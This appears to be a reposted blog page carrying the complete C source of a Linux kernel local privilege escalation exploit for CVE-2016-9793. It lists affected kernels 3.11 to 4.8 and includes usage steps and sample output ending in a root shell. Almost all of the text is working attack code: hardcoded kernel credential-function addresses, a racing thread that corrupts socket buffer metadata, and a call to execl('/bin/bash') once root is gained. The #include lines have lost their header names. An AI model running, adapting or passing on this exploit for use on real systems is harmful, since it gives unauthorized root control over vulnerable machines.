so_rcvbuf linux,CVE-2016-9793 CVE-2016-9793 Linux Kernel 3.11 < 4.8 0 SO_SNDBUFFORCE SO_RCVBUFFORCE...

// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793

// No KASLR, SMEP or SMAP bypass included

// Affected kernels: 3.11 -> 4.8

// Tested in QEMU only

// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793

//

// Usage:

// # gcc -pthread exploit.c -o exploit

// # chown guest:guest exploit

// # setcap cap_net_admin+ep ./exploit

// # su guest

// $ whoami

// guest

// $ ./exploit

// [.] userspace payload mmapped at 0xfffff000

// [.] overwriting thread started

// [.] sockets opened

// [.] sock->sk_sndbuf set to fffffe00

// [.] writing to socket

// [+] got r00t

// # whoami

// root

//

// Andrey Konovalov

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define COMMIT_CREDS 0xffffffff81079860ul

#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;

_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {

commit_creds(prepare_kernel_cred(0));

}

struct ubuf_info_t {

uint64_t callback; // void (*callback)(struct ubuf_info *, bool)

uint64_t ctx; // void *

uint64_t desc; // unsigned long

};

struct skb_shared_info_t {

uint8_t nr_frags; // unsigned char

uint8_t tx_flags; // __u8

uint16_t gso_size; // unsigned short

uint16_t gso_segs; // unsigned short

uint16_t gso_type; // unsigned short

uint64_t frag_list; // struct sk_buff *

uint64_t hwtstamps; // struct skb_shared_hwtstamps

uint32_t tskey; // u32

uint32_t ip6_frag_id; // __be32

uint32_t dataref; // atomic_t

uint64_t destructor_arg; // void *

uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];

};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0

#define SNDBUF 0xffffff00

#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};

//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};

struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {

while (1) {

skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;

skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;

}

}

int sockets[2];

void *write_thr(void *arg) {

// Write blocks until setsockopt(SO_SNDBUF).

write(sockets[1], "\x5c", 1);

if (getuid() == 0) {

printf("[+] got r00t\n");

execl("/bin/bash", "bash", NULL);

perror("execl()");

}

printf("[-] something went wrong\n");

}

int main() {

void *addr;

int rv;

uint32_t sndbuf;

addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,

PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,

-1, 0);

if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {

perror("mmap()");

exit(EXIT_FAILURE);

}

printf("[.] userspace payload mmapped at %p\n", addr);

pthread_t skb_th;

rv = pthread_create(&skb_th, 0, skb_thr, NULL);

if (rv != 0) {

perror("pthread_create()");

exit(EXIT_FAILURE);

}

usleep(10000);

printf("[.] overwriting thread started\n");

rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);

if (rv != 0) {

perror("socketpair()");

exit(EXIT_FAILURE);

}

printf("[.] sockets opened\n");

sndbuf = SNDBUF;

rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,

&sndbuf, sizeof(sndbuf));

if (rv != 0) {

perror("setsockopt()");

exit(EXIT_FAILURE);

}

printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);

pthread_t write_th;

rv = pthread_create(&write_th, 0, write_thr, NULL);

if (rv != 0) {

perror("pthread_create()");

exit(EXIT_FAILURE);

}

usleep(10000);

printf("[.] writing to socket\n");

// Wake up blocked write.

rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,

&sndbuf, sizeof(sndbuf));

if (rv != 0) {

perror("setsockopt()");

exit(EXIT_FAILURE);

}

usleep(10000);

close(sockets[0]);

close(sockets[1]);

return 0;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值